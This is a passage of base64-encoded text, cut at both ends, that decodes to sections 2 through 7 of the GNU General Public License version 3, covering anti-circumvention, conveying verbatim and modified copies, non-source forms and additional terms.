3BpZXMgb2YKeW91ciBj\nb3B5cmlnaHRlZCBtYXRlcmlhbCBvdXRzaWRlIHRoZWlyIHJlbGF0aW9uc2hp\ncCB3aXRoIHlvdS4KCiAgQ29udmV5aW5nIHVuZGVyIGFueSBvdGhlciBjaXJj\ndW1zdGFuY2VzIGlzIHBlcm1pdHRlZCBzb2xlbHkgdW5kZXIKdGhlIGNvbmRp\ndGlvbnMgc3RhdGVkIGJlbG93LiAgU3VibGljZW5zaW5nIGlzIG5vdCBhbGxv\nd2VkOyBzZWN0aW9uIDEwCm1ha2VzIGl0IHVubmVjZXNzYXJ5LgoKICAzLiBQ\ncm90ZWN0aW5nIFVzZXJzJyBMZWdhbCBSaWdodHMgRnJvbSBBbnRpLUNpcmN1\nbXZlbnRpb24gTGF3LgoKICBObyBjb3ZlcmVkIHdvcmsgc2hhbGwgYmUgZGVl\nbWVkIHBhcnQgb2YgYW4gZWZmZWN0aXZlIHRlY2hub2xvZ2ljYWwKbWVhc3Vy\nZSB1bmRlciBhbnkgYXBwbGljYWJsZSBsYXcgZnVsZmlsbGluZyBvYmxpZ2F0\naW9ucyB1bmRlciBhcnRpY2xlCjExIG9mIHRoZSBXSVBPIGNvcHlyaWdodCB0\ncmVhdHkgYWRvcHRlZCBvbiAyMCBEZWNlbWJlciAxOTk2LCBvcgpzaW1pbGFy\nIGxhd3MgcHJvaGliaXRpbmcgb3IgcmVzdHJpY3RpbmcgY2lyY3VtdmVudGlv\nbiBvZiBzdWNoCm1lYXN1cmVzLgoKICBXaGVuIHlvdSBjb252ZXkgYSBjb3Zl\ncmVkIHdvcmssIHlvdSB3YWl2ZSBhbnkgbGVnYWwgcG93ZXIgdG8gZm9yYmlk\nCmNpcmN1bXZlbnRpb24gb2YgdGVjaG5vbG9naWNhbCBtZWFzdXJlcyB0byB0\naGUgZXh0ZW50IHN1Y2ggY2lyY3VtdmVudGlvbgppcyBlZmZlY3RlZCBieSBl\neGVyY2lzaW5nIHJpZ2h0cyB1bmRlciB0aGlzIExpY2Vuc2Ugd2l0aCByZXNw\nZWN0IHRvCnRoZSBjb3ZlcmVkIHdvcmssIGFuZCB5b3UgZGlzY2xhaW0gYW55\nIGludGVudGlvbiB0byBsaW1pdCBvcGVyYXRpb24gb3IKbW9kaWZpY2F0aW9u\nIG9mIHRoZSB3b3JrIGFzIGEgbWVhbnMgb2YgZW5mb3JjaW5nLCBhZ2FpbnN0\nIHRoZSB3b3JrJ3MKdXNlcnMsIHlvdXIgb3IgdGhpcmQgcGFydGllcycgbGVn\nYWwgcmlnaHRzIHRvIGZvcmJpZCBjaXJjdW12ZW50aW9uIG9mCnRlY2hub2xv\nZ2ljYWwgbWVhc3VyZXMuCgogIDQuIENvbnZleWluZyBWZXJiYXRpbSBDb3Bp\nZXMuCgogIFlvdSBtYXkgY29udmV5IHZlcmJhdGltIGNvcGllcyBvZiB0aGUg\nUHJvZ3JhbSdzIHNvdXJjZSBjb2RlIGFzIHlvdQpyZWNlaXZlIGl0LCBpbiBh\nbnkgbWVkaXVtLCBwcm92aWRlZCB0aGF0IHlvdSBjb25zcGljdW91c2x5IGFu\nZAphcHByb3ByaWF0ZWx5IHB1Ymxpc2ggb24gZWFjaCBjb3B5IGFuIGFwcHJv\ncHJpYXRlIGNvcHlyaWdodCBub3RpY2U7CmtlZXAgaW50YWN0IGFsbCBub3Rp\nY2VzIHN0YXRpbmcgdGhhdCB0aGlzIExpY2Vuc2UgYW5kIGFueQpub24tcGVy\nbWlzc2l2ZSB0ZXJtcyBhZGRlZCBpbiBhY2NvcmQgd2l0aCBzZWN0aW9uIDcg\nYXBwbHkgdG8gdGhlIGNvZGU7CmtlZXAgaW50YWN0IGFsbCBub3RpY2VzIG9m\nIHRoZSBhYnNlbmNlIG9mIGFueSB3YXJyYW50eTsgYW5kIGdpdmUgYWxsCnJl\nY2lwaWVudHMgYSBjb3B5IG9mIHRoaXMgTGljZW5zZSBhbG9uZyB3aXRoIHRo\nZSBQcm9ncmFtLgoKICBZb3UgbWF5IGNoYXJnZSBhbnkgcHJpY2Ugb3Igbm8g\ncHJpY2UgZm9yIGVhY2ggY29weSB0aGF0IHlvdSBjb252ZXksCmFuZCB5b3Ug\nbWF5IG9mZmVyIHN1cHBvcnQgb3Igd2FycmFudHkgcHJvdGVjdGlvbiBmb3Ig\nYSBmZWUuCgogIDUuIENvbnZleWluZyBNb2RpZmllZCBTb3VyY2UgVmVyc2lv\nbnMuCgogIFlvdSBtYXkgY29udmV5IGEgd29yayBiYXNlZCBvbiB0aGUgUHJv\nZ3JhbSwgb3IgdGhlIG1vZGlmaWNhdGlvbnMgdG8KcHJvZHVjZSBpdCBmcm9t\nIHRoZSBQcm9ncmFtLCBpbiB0aGUgZm9ybSBvZiBzb3VyY2UgY29kZSB1bmRl\nciB0aGUKdGVybXMgb2Ygc2VjdGlvbiA0LCBwcm92aWRlZCB0aGF0IHlvdSBh\nbHNvIG1lZXQgYWxsIG9mIHRoZXNlIGNvbmRpdGlvbnM6CgogICAgYSkgVGhl\nIHdvcmsgbXVzdCBjYXJyeSBwcm9taW5lbnQgbm90aWNlcyBzdGF0aW5nIHRo\nYXQgeW91IG1vZGlmaWVkCiAgICBpdCwgYW5kIGdpdmluZyBhIHJlbGV2YW50\nIGRhdGUuCgogICAgYikgVGhlIHdvcmsgbXVzdCBjYXJyeSBwcm9taW5lbnQg\nbm90aWNlcyBzdGF0aW5nIHRoYXQgaXQgaXMKICAgIHJlbGVhc2VkIHVuZGVy\nIHRoaXMgTGljZW5zZSBhbmQgYW55IGNvbmRpdGlvbnMgYWRkZWQgdW5kZXIg\nc2VjdGlvbgogICAgNy4gIFRoaXMgcmVxdWlyZW1lbnQgbW9kaWZpZXMgdGhl\nIHJlcXVpcmVtZW50IGluIHNlY3Rpb24gNCB0bwogICAgImtlZXAgaW50YWN0\nIGFsbCBub3RpY2VzIi4KCiAgICBjKSBZb3UgbXVzdCBsaWNlbnNlIHRoZSBl\nbnRpcmUgd29yaywgYXMgYSB3aG9sZSwgdW5kZXIgdGhpcwogICAgTGljZW5z\nZSB0byBhbnlvbmUgd2hvIGNvbWVzIGludG8gcG9zc2Vzc2lvbiBvZiBhIGNv\ncHkuICBUaGlzCiAgICBMaWNlbnNlIHdpbGwgdGhlcmVmb3JlIGFwcGx5LCBh\nbG9uZyB3aXRoIGFueSBhcHBsaWNhYmxlIHNlY3Rpb24gNwogICAgYWRkaXRp\nb25hbCB0ZXJtcywgdG8gdGhlIHdob2xlIG9mIHRoZSB3b3JrLCBhbmQgYWxs\nIGl0cyBwYXJ0cywKICAgIHJlZ2FyZGxlc3Mgb2YgaG93IHRoZXkgYXJlIHBh\nY2thZ2VkLiAgVGhpcyBMaWNlbnNlIGdpdmVzIG5vCiAgICBwZXJtaXNzaW9u\nIHRvIGxpY2Vuc2UgdGhlIHdvcmsgaW4gYW55IG90aGVyIHdheSwgYnV0IGl0\nIGRvZXMgbm90CiAgICBpbnZhbGlkYXRlIHN1Y2ggcGVybWlzc2lvbiBpZiB5\nb3UgaGF2ZSBzZXBhcmF0ZWx5IHJlY2VpdmVkIGl0LgoKICAgIGQpIElmIHRo\nZSB3b3JrIGhhcyBpbnRlcmFjdGl2ZSB1c2VyIGludGVyZmFjZXMsIGVhY2gg\nbXVzdCBkaXNwbGF5CiAgICBBcHByb3ByaWF0ZSBMZWdhbCBOb3RpY2VzOyBo\nb3dldmVyLCBpZiB0aGUgUHJvZ3JhbSBoYXMgaW50ZXJhY3RpdmUKICAgIGlu\ndGVyZmFjZXMgdGhhdCBkbyBub3QgZGlzcGxheSBBcHByb3ByaWF0ZSBMZWdh\nbCBOb3RpY2VzLCB5b3VyCiAgICB3b3JrIG5lZWQgbm90IG1ha2UgdGhlbSBk\nbyBzby4KCiAgQSBjb21waWxhdGlvbiBvZiBhIGNvdmVyZWQgd29yayB3aXRo\nIG90aGVyIHNlcGFyYXRlIGFuZCBpbmRlcGVuZGVudAp3b3Jrcywgd2hpY2gg\nYXJlIG5vdCBieSB0aGVpciBuYXR1cmUgZXh0ZW5zaW9ucyBvZiB0aGUgY292\nZXJlZCB3b3JrLAphbmQgd2hpY2ggYXJlIG5vdCBjb21iaW5lZCB3aXRoIGl0\nIHN1Y2ggYXMgdG8gZm9ybSBhIGxhcmdlciBwcm9ncmFtLAppbiBvciBvbiBh\nIHZvbHVtZSBvZiBhIHN0b3JhZ2Ugb3IgZGlzdHJpYnV0aW9uIG1lZGl1bSwg\naXMgY2FsbGVkIGFuCiJhZ2dyZWdhdGUiIGlmIHRoZSBjb21waWxhdGlvbiBh\nbmQgaXRzIHJlc3VsdGluZyBjb3B5cmlnaHQgYXJlIG5vdAp1c2VkIHRvIGxp\nbWl0IHRoZSBhY2Nlc3Mgb3IgbGVnYWwgcmlnaHRzIG9mIHRoZSBjb21waWxh\ndGlvbidzIHVzZXJzCmJleW9uZCB3aGF0IHRoZSBpbmRpdmlkdWFsIHdvcmtz\nIHBlcm1pdC4gIEluY2x1c2lvbiBvZiBhIGNvdmVyZWQgd29yawppbiBhbiBh\nZ2dyZWdhdGUgZG9lcyBub3QgY2F1c2UgdGhpcyBMaWNlbnNlIHRvIGFwcGx5\nIHRvIHRoZSBvdGhlcgpwYXJ0cyBvZiB0aGUgYWdncmVnYXRlLgoKICA2LiBD\nb252ZXlpbmcgTm9uLVNvdXJjZSBGb3Jtcy4KCiAgWW91IG1heSBjb252ZXkg\nYSBjb3ZlcmVkIHdvcmsgaW4gb2JqZWN0IGNvZGUgZm9ybSB1bmRlciB0aGUg\ndGVybXMKb2Ygc2VjdGlvbnMgNCBhbmQgNSwgcHJvdmlkZWQgdGhhdCB5b3Ug\nYWxzbyBjb252ZXkgdGhlCm1hY2hpbmUtcmVhZGFibGUgQ29ycmVzcG9uZGlu\nZyBTb3VyY2UgdW5kZXIgdGhlIHRlcm1zIG9mIHRoaXMgTGljZW5zZSwKaW4g\nb25lIG9mIHRoZXNlIHdheXM6CgogICAgYSkgQ29udmV5IHRoZSBvYmplY3Qg\nY29kZSBpbiwgb3IgZW1ib2RpZWQgaW4sIGEgcGh5c2ljYWwgcHJvZHVjdAog\nICAgKGluY2x1ZGluZyBhIHBoeXNpY2FsIGRpc3RyaWJ1dGlvbiBtZWRpdW0p\nLCBhY2NvbXBhbmllZCBieSB0aGUKICAgIENvcnJlc3BvbmRpbmcgU291cmNl\nIGZpeGVkIG9uIGEgZHVyYWJsZSBwaHlzaWNhbCBtZWRpdW0KICAgIGN1c3Rv\nbWFyaWx5IHVzZWQgZm9yIHNvZnR3YXJlIGludGVyY2hhbmdlLgoKICAgIGIp\nIENvbnZleSB0aGUgb2JqZWN0IGNvZGUgaW4sIG9yIGVtYm9kaWVkIGluLCBh\nIHBoeXNpY2FsIHByb2R1Y3QKICAgIChpbmNsdWRpbmcgYSBwaHlzaWNhbCBk\naXN0cmlidXRpb24gbWVkaXVtKSwgYWNjb21wYW5pZWQgYnkgYQogICAgd3Jp\ndHRlbiBvZmZlciwgdmFsaWQgZm9yIGF0IGxlYXN0IHRocmVlIHllYXJzIGFu\nZCB2YWxpZCBmb3IgYXMKICAgIGxvbmcgYXMgeW91IG9mZmVyIHNwYXJlIHBh\ncnRzIG9yIGN1c3RvbWVyIHN1cHBvcnQgZm9yIHRoYXQgcHJvZHVjdAogICAg\nbW9kZWwsIHRvIGdpdmUgYW55b25lIHdobyBwb3NzZXNzZXMgdGhlIG9iamVj\ndCBjb2RlIGVpdGhlciAoMSkgYQogICAgY29weSBvZiB0aGUgQ29ycmVzcG9u\nZGluZyBTb3VyY2UgZm9yIGFsbCB0aGUgc29mdHdhcmUgaW4gdGhlCiAgICBw\ncm9kdWN0IHRoYXQgaXMgY292ZXJlZCBieSB0aGlzIExpY2Vuc2UsIG9uIGEg\nZHVyYWJsZSBwaHlzaWNhbAogICAgbWVkaXVtIGN1c3RvbWFyaWx5IHVzZWQg\nZm9yIHNvZnR3YXJlIGludGVyY2hhbmdlLCBmb3IgYSBwcmljZSBubwogICAg\nbW9yZSB0aGFuIHlvdXIgcmVhc29uYWJsZSBjb3N0IG9mIHBoeXNpY2FsbHkg\ncGVyZm9ybWluZyB0aGlzCiAgICBjb252ZXlpbmcgb2Ygc291cmNlLCBvciAo\nMikgYWNjZXNzIHRvIGNvcHkgdGhlCiAgICBDb3JyZXNwb25kaW5nIFNvdXJj\nZSBmcm9tIGEgbmV0d29yayBzZXJ2ZXIgYXQgbm8gY2hhcmdlLgoKICAgIGMp\nIENvbnZleSBpbmRpdmlkdWFsIGNvcGllcyBvZiB0aGUgb2JqZWN0IGNvZGUg\nd2l0aCBhIGNvcHkgb2YgdGhlCiAgICB3cml0dGVuIG9mZmVyIHRvIHByb3Zp\nZGUgdGhlIENvcnJlc3BvbmRpbmcgU291cmNlLiAgVGhpcwogICAgYWx0ZXJu\nYXRpdmUgaXMgYWxsb3dlZCBvbmx5IG9jY2FzaW9uYWxseSBhbmQgbm9uY29t\nbWVyY2lhbGx5LCBhbmQKICAgIG9ubHkgaWYgeW91IHJlY2VpdmVkIHRoZSBv\nYmplY3QgY29kZSB3aXRoIHN1Y2ggYW4gb2ZmZXIsIGluIGFjY29yZAogICAg\nd2l0aCBzdWJzZWN0aW9uIDZiLgoKICAgIGQpIENvbnZleSB0aGUgb2JqZWN0\nIGNvZGUgYnkgb2ZmZXJpbmcgYWNjZXNzIGZyb20gYSBkZXNpZ25hdGVkCiAg\nICBwbGFjZSAoZ3JhdGlzIG9yIGZvciBhIGNoYXJnZSksIGFuZCBvZmZlciBl\ncXVpdmFsZW50IGFjY2VzcyB0byB0aGUKICAgIENvcnJlc3BvbmRpbmcgU291\ncmNlIGluIHRoZSBzYW1lIHdheSB0aHJvdWdoIHRoZSBzYW1lIHBsYWNlIGF0\nIG5vCiAgICBmdXJ0aGVyIGNoYXJnZS4gIFlvdSBuZWVkIG5vdCByZXF1aXJl\nIHJlY2lwaWVudHMgdG8gY29weSB0aGUKICAgIENvcnJlc3BvbmRpbmcgU291\ncmNlIGFsb25nIHdpdGggdGhlIG9iamVjdCBjb2RlLiAgSWYgdGhlIHBsYWNl\nIHRvCiAgICBjb3B5IHRoZSBvYmplY3QgY29kZSBpcyBhIG5ldHdvcmsgc2Vy\ndmVyLCB0aGUgQ29ycmVzcG9uZGluZyBTb3VyY2UKICAgIG1heSBiZSBvbiBh\nIGRpZmZlcmVudCBzZXJ2ZXIgKG9wZXJhdGVkIGJ5IHlvdSBvciBhIHRoaXJk\nIHBhcnR5KQogICAgdGhhdCBzdXBwb3J0cyBlcXVpdmFsZW50IGNvcHlpbmcg\nZmFjaWxpdGllcywgcHJvdmlkZWQgeW91IG1haW50YWluCiAgICBjbGVhciBk\naXJlY3Rpb25zIG5leHQgdG8gdGhlIG9iamVjdCBjb2RlIHNheWluZyB3aGVy\nZSB0byBmaW5kIHRoZQogICAgQ29ycmVzcG9uZGluZyBTb3VyY2UuICBSZWdh\ncmRsZXNzIG9mIHdoYXQgc2VydmVyIGhvc3RzIHRoZQogICAgQ29ycmVzcG9u\nZGluZyBTb3VyY2UsIHlvdSByZW1haW4gb2JsaWdhdGVkIHRvIGVuc3VyZSB0\naGF0IGl0IGlzCiAgICBhdmFpbGFibGUgZm9yIGFzIGxvbmcgYXMgbmVlZGVk\nIHRvIHNhdGlzZnkgdGhlc2UgcmVxdWlyZW1lbnRzLgoKICAgIGUpIENvbnZl\neSB0aGUgb2JqZWN0IGNvZGUgdXNpbmcgcGVlci10by1wZWVyIHRyYW5zbWlz\nc2lvbiwgcHJvdmlkZWQKICAgIHlvdSBpbmZvcm0gb3RoZXIgcGVlcnMgd2hl\ncmUgdGhlIG9iamVjdCBjb2RlIGFuZCBDb3JyZXNwb25kaW5nCiAgICBTb3Vy\nY2Ugb2YgdGhlIHdvcmsgYXJlIGJlaW5nIG9mZmVyZWQgdG8gdGhlIGdlbmVy\nYWwgcHVibGljIGF0IG5vCiAgICBjaGFyZ2UgdW5kZXIgc3Vic2VjdGlvbiA2\nZC4KCiAgQSBzZXBhcmFibGUgcG9ydGlvbiBvZiB0aGUgb2JqZWN0IGNvZGUs\nIHdob3NlIHNvdXJjZSBjb2RlIGlzIGV4Y2x1ZGVkCmZyb20gdGhlIENvcnJl\nc3BvbmRpbmcgU291cmNlIGFzIGEgU3lzdGVtIExpYnJhcnksIG5lZWQgbm90\nIGJlCmluY2x1ZGVkIGluIGNvbnZleWluZyB0aGUgb2JqZWN0IGNvZGUgd29y\nay4KCiAgQSAiVXNlciBQcm9kdWN0IiBpcyBlaXRoZXIgKDEpIGEgImNvbnN1\nbWVyIHByb2R1Y3QiLCB3aGljaCBtZWFucyBhbnkKdGFuZ2libGUgcGVyc29u\nYWwgcHJvcGVydHkgd2hpY2ggaXMgbm9ybWFsbHkgdXNlZCBmb3IgcGVyc29u\nYWwsIGZhbWlseSwKb3IgaG91c2Vob2xkIHB1cnBvc2VzLCBvciAoMikgYW55\ndGhpbmcgZGVzaWduZWQgb3Igc29sZCBmb3IgaW5jb3Jwb3JhdGlvbgppbnRv\nIGEgZHdlbGxpbmcuICBJbiBkZXRlcm1pbmluZyB3aGV0aGVyIGEgcHJvZHVj\ndCBpcyBhIGNvbnN1bWVyIHByb2R1Y3QsCmRvdWJ0ZnVsIGNhc2VzIHNoYWxs\nIGJlIHJlc29sdmVkIGluIGZhdm9yIG9mIGNvdmVyYWdlLiAgRm9yIGEgcGFy\ndGljdWxhcgpwcm9kdWN0IHJlY2VpdmVkIGJ5IGEgcGFydGljdWxhciB1c2Vy\nLCAibm9ybWFsbHkgdXNlZCIgcmVmZXJzIHRvIGEKdHlwaWNhbCBvciBjb21t\nb24gdXNlIG9mIHRoYXQgY2xhc3Mgb2YgcHJvZHVjdCwgcmVnYXJkbGVzcyBv\nZiB0aGUgc3RhdHVzCm9mIHRoZSBwYXJ0aWN1bGFyIHVzZXIgb3Igb2YgdGhl\nIHdheSBpbiB3aGljaCB0aGUgcGFydGljdWxhciB1c2VyCmFjdHVhbGx5IHVz\nZXMsIG9yIGV4cGVjdHMgb3IgaXMgZXhwZWN0ZWQgdG8gdXNlLCB0aGUgcHJv\nZHVjdC4gIEEgcHJvZHVjdAppcyBhIGNvbnN1bWVyIHByb2R1Y3QgcmVnYXJk\nbGVzcyBvZiB3aGV0aGVyIHRoZSBwcm9kdWN0IGhhcyBzdWJzdGFudGlhbApj\nb21tZXJjaWFsLCBpbmR1c3RyaWFsIG9yIG5vbi1jb25zdW1lciB1c2VzLCB1\nbmxlc3Mgc3VjaCB1c2VzIHJlcHJlc2VudAp0aGUgb25seSBzaWduaWZpY2Fu\ndCBtb2RlIG9mIHVzZSBvZiB0aGUgcHJvZHVjdC4KCiAgIkluc3RhbGxhdGlv\nbiBJbmZvcm1hdGlvbiIgZm9yIGEgVXNlciBQcm9kdWN0IG1lYW5zIGFueSBt\nZXRob2RzLApwcm9jZWR1cmVzLCBhdXRob3JpemF0aW9uIGtleXMsIG9yIG90\naGVyIGluZm9ybWF0aW9uIHJlcXVpcmVkIHRvIGluc3RhbGwKYW5kIGV4ZWN1\ndGUgbW9kaWZpZWQgdmVyc2lvbnMgb2YgYSBjb3ZlcmVkIHdvcmsgaW4gdGhh\ndCBVc2VyIFByb2R1Y3QgZnJvbQphIG1vZGlmaWVkIHZlcnNpb24gb2YgaXRz\nIENvcnJlc3BvbmRpbmcgU291cmNlLiAgVGhlIGluZm9ybWF0aW9uIG11c3QK\nc3VmZmljZSB0byBlbnN1cmUgdGhhdCB0aGUgY29udGludWVkIGZ1bmN0aW9u\naW5nIG9mIHRoZSBtb2RpZmllZCBvYmplY3QKY29kZSBpcyBpbiBubyBjYXNl\nIHByZXZlbnRlZCBvciBpbnRlcmZlcmVkIHdpdGggc29sZWx5IGJlY2F1c2UK\nbW9kaWZpY2F0aW9uIGhhcyBiZWVuIG1hZGUuCgogIElmIHlvdSBjb252ZXkg\nYW4gb2JqZWN0IGNvZGUgd29yayB1bmRlciB0aGlzIHNlY3Rpb24gaW4sIG9y\nIHdpdGgsIG9yCnNwZWNpZmljYWxseSBmb3IgdXNlIGluLCBhIFVzZXIgUHJv\nZHVjdCwgYW5kIHRoZSBjb252ZXlpbmcgb2NjdXJzIGFzCnBhcnQgb2YgYSB0\ncmFuc2FjdGlvbiBpbiB3aGljaCB0aGUgcmlnaHQgb2YgcG9zc2Vzc2lvbiBh\nbmQgdXNlIG9mIHRoZQpVc2VyIFByb2R1Y3QgaXMgdHJhbnNmZXJyZWQgdG8g\ndGhlIHJlY2lwaWVudCBpbiBwZXJwZXR1aXR5IG9yIGZvciBhCmZpeGVkIHRl\ncm0gKHJlZ2FyZGxlc3Mgb2YgaG93IHRoZSB0cmFuc2FjdGlvbiBpcyBjaGFy\nYWN0ZXJpemVkKSwgdGhlCkNvcnJlc3BvbmRpbmcgU291cmNlIGNvbnZleWVk\nIHVuZGVyIHRoaXMgc2VjdGlvbiBtdXN0IGJlIGFjY29tcGFuaWVkCmJ5IHRo\nZSBJbnN0YWxsYXRpb24gSW5mb3JtYXRpb24uICBCdXQgdGhpcyByZXF1aXJl\nbWVudCBkb2VzIG5vdCBhcHBseQppZiBuZWl0aGVyIHlvdSBub3IgYW55IHRo\naXJkIHBhcnR5IHJldGFpbnMgdGhlIGFiaWxpdHkgdG8gaW5zdGFsbAptb2Rp\nZmllZCBvYmplY3QgY29kZSBvbiB0aGUgVXNlciBQcm9kdWN0IChmb3IgZXhh\nbXBsZSwgdGhlIHdvcmsgaGFzCmJlZW4gaW5zdGFsbGVkIGluIFJPTSkuCgog\nIFRoZSByZXF1aXJlbWVudCB0byBwcm92aWRlIEluc3RhbGxhdGlvbiBJbmZv\ncm1hdGlvbiBkb2VzIG5vdCBpbmNsdWRlIGEKcmVxdWlyZW1lbnQgdG8gY29u\ndGludWUgdG8gcHJvdmlkZSBzdXBwb3J0IHNlcnZpY2UsIHdhcnJhbnR5LCBv\nciB1cGRhdGVzCmZvciBhIHdvcmsgdGhhdCBoYXMgYmVlbiBtb2RpZmllZCBv\nciBpbnN0YWxsZWQgYnkgdGhlIHJlY2lwaWVudCwgb3IgZm9yCnRoZSBVc2Vy\nIFByb2R1Y3QgaW4gd2hpY2ggaXQgaGFzIGJlZW4gbW9kaWZpZWQgb3IgaW5z\ndGFsbGVkLiAgQWNjZXNzIHRvIGEKbmV0d29yayBtYXkgYmUgZGVuaWVkIHdo\nZW4gdGhlIG1vZGlmaWNhdGlvbiBpdHNlbGYgbWF0ZXJpYWxseSBhbmQKYWR2\nZXJzZWx5IGFmZmVjdHMgdGhlIG9wZXJhdGlvbiBvZiB0aGUgbmV0d29yayBv\nciB2aW9sYXRlcyB0aGUgcnVsZXMgYW5kCnByb3RvY29scyBmb3IgY29tbXVu\naWNhdGlvbiBhY3Jvc3MgdGhlIG5ldHdvcmsuCgogIENvcnJlc3BvbmRpbmcg\nU291cmNlIGNvbnZleWVkLCBhbmQgSW5zdGFsbGF0aW9uIEluZm9ybWF0aW9u\nIHByb3ZpZGVkLAppbiBhY2NvcmQgd2l0aCB0aGlzIHNlY3Rpb24gbXVzdCBi\nZSBpbiBhIGZvcm1hdCB0aGF0IGlzIHB1YmxpY2x5CmRvY3VtZW50ZWQgKGFu\nZCB3aXRoIGFuIGltcGxlbWVudGF0aW9uIGF2YWlsYWJsZSB0byB0aGUgcHVi\nbGljIGluCnNvdXJjZSBjb2RlIGZvcm0pLCBhbmQgbXVzdCByZXF1aXJlIG5v\nIHNwZWNpYWwgcGFzc3dvcmQgb3Iga2V5IGZvcgp1bnBhY2tpbmcsIHJlYWRp\nbmcgb3IgY29weWluZy4KCiAgNy4gQWRkaXRpb25hbCBUZXJtcy4KCiAgIkFk\nZGl0aW9uYWwgcGVybWlzc2lvbnMiIGFyZSB0ZXJtcyB0aGF0IHN1cHBsZW1l\nbnQgdGhlIHRlcm1zIG9mIHRoaXMKTGljZW5zZSBieSBtYWtpbmcgZXhjZXB0\naW9ucyBmcm9tIG9uZSBvciBtb3JlIG9mIGl0cyBjb25kaXRpb25zLgpBZGRp\ndGlvbmFsIHBlcm1pc3Npb25zIHRoYXQgYXJlIGFwcGxpY2FibGUgdG8gdGhl\nIGVudGlyZSBQcm9ncmFtIHNoYWxsCmJlIHRyZWF0ZWQgYXMgdGhvdWdoIHRo\nZXkgd2VyZSBpbmNsdWRlZCBpbiB0aGlzIExpY2Vuc2UsIHRvIHRoZSBleHRl\nbnQKdGhhdCB0aGV5IGFyZSB2YWxpZCB1bmRlciBhcHBsaWNhYmxlIGxhdy4g\nIElmIGFkZGl0aW9uYWwgcGVybWlzc2lvbnMKYXBwbHkgb25seSB0byBwYXJ0\nIG9mIHRoZSBQcm9ncmFtLCB0aGF0IHBhcnQgbWF5IGJlIHVzZWQgc2VwYXJh\ndGVseQp1bmRlciB0aG9zZSBwZXJtaXNzaW9ucywgYnV0IHRoZSBlbnRpcmUg\nUHJvZ3JhbSByZW1haW5zIGdvdmVybmVkIGJ5CnRoaXMgTGljZW5zZSB3aXRo\nb3V0IHJlZ2FyZCB0byB0aGUgYWRkaXRpb25hbCBwZXJtaXNzaW9ucy4KCiAg\nV2hlbiB5b3UgY29udmV5IGEgY29weSBvZiBhIGNvdmVyZWQgd29yaywgeW91\nIG1heSBhdCB5b3VyIG9wdGlvbgpyZW1vdmUgYW55IGFkZGl0aW9uYWwgcGVy\nbWlzc2lvbnMgZnJvbSB0aGF0IGNvcHksIG9yIGZyb20gYW55IHBhcnQgb2YK\naXQuICAoQWRkaXRpb25hbCBwZXJtaXNzaW9ucyBtYXkgYmUgd3JpdHRlbiB0\nbyByZXF1aXJlIHRoZWlyIG93bgpyZW1vdmFsIGluIGNlcnRhaW4gY2FzZXMg\nd2hlbiB5b3UgbW9kaWZ5IHRoZSB3b3JrLikgIFlvdSBtYXkgcGxhY2UKYWRk\naXRpb25hbCBwZXJtaXNzaW9ucyBvbiBtYXRlcmlhbCwgYWRkZWQgYnkgeW91\nIHRvIGEgY292ZXJlZCB3b3JrLApmb3Igd2hpY2ggeW91IGhhdmUgb3IgY2Fu\nIGdpdmUgYXBwcm9wcmlhdGUgY29weXJpZ2h0IHBlcm1pc3Npb24uCgogIE5v\ndHdpdGhzdGFuZGluZyBhbnkgb3RoZXIgcHJvdmlzaW9uIG9mIHRoaXMgTGlj\nZW5zZSwgZm9yIG1hdGVyaWFsIHlvdQphZGQgdG8gYSBjb3ZlcmVkIHdvcmss\nIHlvdSBtYXkgKGlmIGF1dGhvcml6ZWQgYnkgdGhlIGNvcHlyaWdodCBob2xk\nZXJzIG9mCnRoYXQgbWF0ZXJpYWwpIHN1cHBsZW1lbnQgdGhlIHRlcm1zIG9m\nIHRoaXMgTGljZW5zZSB3aXRoIHRlcm1zOgoKICAgIGEpIERpc2NsYWltaW5n\nIHdhcnJhbnR5IG9yIGxpbWl0aW5nIGxpYWJpbGl0eSBkaWZmZXJlbnRseSBm\ncm9tIHRoZQogICAgdGVybXMgb2Ygc2VjdGlvbnMgMTUgYW5kIDE2IG9mIHRo\naXMgTGljZW5zZTsgb3IKCiAgICBiKSBSZXF1aXJpbmcgcHJlc2VydmF0aW9u\nIG9mIHNwZWNpZmllZCByZWFzb25hYmxlIGxlZ2FsIG5vdGljZXMgb3IKICAg\nIGF1dGhvciBhdHRyaWJ1dGlvbnMgaW4gdGhhdCBtYXRlcmlhbCBvciBpbiB0\naGUgQXBwcm9wcmlhdGUgTGVnYWwKICAgIE5vdGljZXMgZGlzcGxheWVkIGJ5\nIHdvcmtzIGNvbnRhaW5pbmcgaXQ7IG9yCgogICAgYykgUHJvaGliaXRpbmcg\nbWlzcmVwcmVzZW50YXRpb24gb2YgdGhlIG9yaWdpbiBvZiB0aGF0IG1hdGVy\naWFsLCBvcgogICAgcmVxdWlyaW5nIHRoYXQgbW9kaWZpZWQgdmVyc2lvbnMg\nb2Ygc3VjaCBtYXRlcmlhbCBiZSBtYXJrZWQgaW4KICAgIHJlYXNvbmFibGUg\nd2F5cyBhcyBkaWZmZXJlbnQgZnJvbSB0aGUgb3JpZ2luYWwgdmVyc2lvbjsg\nb3IKCiAgICBkKSBMaW1pdGluZyB0aGUgdXNlIGZvciBwdWJsaWNpdHkgcHVy\ncG9zZXMgb2YgbmFtZXMgb2YgbGljZW5zb3JzIG9yCiAgICBhdXRob3JzIG9m\nIHRoZSBtYXRlcmlhbDsgb3IKCiAgICBlKSBEZWNsaW5pbmcgdG8gZ3JhbnQg\ncmlnaHRzIHVuZGVyIHRyYWRlbWFyayBsYXcgZm9yIHVzZSBvZiBzb21lCiAg\nICB0cmFkZSBuYW1lcywgdHJhZGVtYXJrcywgb3Igc2VydmljZSBtYXJrczsg\nb3IKCiAgICBmKSBSZXF1aXJpbmcgaW5kZW1uaWZpY2F0aW9uIG9mIGxpY2Vu\nc29ycyBhbmQgYXV0aG9ycyBvZiB0aGF0CiAgICBtYXRlcmlhbCBieSBhbnlv\nbmUgd2hvIGNvbnZleXMgdGhlIG1hdGVyaWFsIChvciBtb2RpZmllZCB2ZXJz\naW9ucyBvZgogICAgaXQpIHdpdGggY29udHJhY3R1YWwgYXNzdW1wdGlvbnMg\nb2YgbGlhYmlsaXR5IHRvIHRoZSByZWNpcGllbnQsIGZvcgogICAgYW55IGxp\nYWJpbGl0eSB0aGF0IHRoZXNlIGNvbnRyYWN0dWFsIGFzc3VtcHRpb25zIGRp\ncmVjdGx5IGltcG9zZSBvbgogICAgdGhvc2UgbGljZW5zb3JzIGFuZCBhdXRo\nb3JzLgoKICBBbGwgb3RoZXIgbm9uLXBlcm1pc3NpdmUgYWRkaXRpb25hbCB0\nZXJtcyBhcmUgY29uc2lkZXJlZCAiZnVydGhlcgpyZXN0c